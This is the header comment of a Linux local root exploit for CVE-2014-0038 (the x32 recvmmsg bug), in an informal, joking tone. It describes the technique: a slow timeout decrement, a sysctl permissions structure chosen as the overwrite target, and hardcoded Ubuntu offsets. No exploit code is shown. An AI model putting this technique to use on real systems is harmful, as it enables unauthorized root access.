recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
CVE-2014-0038 / x32 ABI with recvmmsg
by rebel @ irc.smashthestack.org
-----------------------------------

takes about 13 minutes to run because timeout->tv_sec is decremented
once per second and 0xff*3 is 765.

some things you could do while waiting:
  * watch http://www.youtube.com/watch?v=OPyZGCKu2wg 3 times
  * read https://wiki.ubuntu.com/Security/Features and smirk a few times
  * brew some coffee
  * stare at the countdown giggly with anticipation

could probably whack the high bits of some pointer with nanoseconds,
but that would require a bunch of nulls before the pointer and then
reading an oops from dmesg which isn't that elegant.

&net_sysctl_root.permissions is nice because it has 16 trailing nullbytes

hardcoded offsets because I only saw this on ubuntu & kallsyms is protected
anyway..

same principle will work on 32bit but I didn't really find any major
distros shipping with CONFIG_X86_X32=y
